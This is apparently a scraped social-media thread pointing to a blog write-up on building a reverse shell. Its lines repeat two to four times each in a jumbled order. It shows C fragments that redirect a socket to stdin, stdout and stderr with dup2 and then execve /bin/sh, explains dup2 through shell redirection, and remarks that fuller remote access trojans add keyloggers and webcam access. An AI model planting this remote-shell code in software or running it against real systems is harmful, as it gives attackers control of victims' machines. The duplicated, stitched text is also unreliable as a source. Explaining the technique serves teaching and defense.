full write-up here: jackcarrick.net/blog/reverse...
full write-up here: jackcarrick.net/blog/reverse...
int socket
...
dup2(socket, STDIN_FILENO);
dup2(socket, STDOUT_FILENO);
dup2(socket, STDERR_FILENO);
Then execute a shell
execve("/bin/sh", argv, NULL);
int socket
...
dup2(socket, STDIN_FILENO);
dup2(socket, STDOUT_FILENO);
dup2(socket, STDERR_FILENO);
Then execute a shell
execve("/bin/sh", argv, NULL);
echo “foo” > bar.txt
internally this uses the dup2 system call:
dup2(old file descriptor, new file descriptor)
echo “foo” > bar.txt
internally this uses the dup2 system call:
dup2(old file descriptor, new file descriptor)
echo “foo” > bar.txt
internally this uses the dup2 system call:
dup2(old file descriptor, new file descriptor)
echo “foo” > bar.txt
internally this uses the dup2 system call:
dup2(old file descriptor, new file descriptor)
more robust RATs include more sophisticated control mechanisms (GUIs, keyloggers, webcam access, etc), but this is a pretty good start
more robust RATs include more sophisticated control mechanisms (GUIs, keyloggers, webcam access, etc), but this is a pretty good start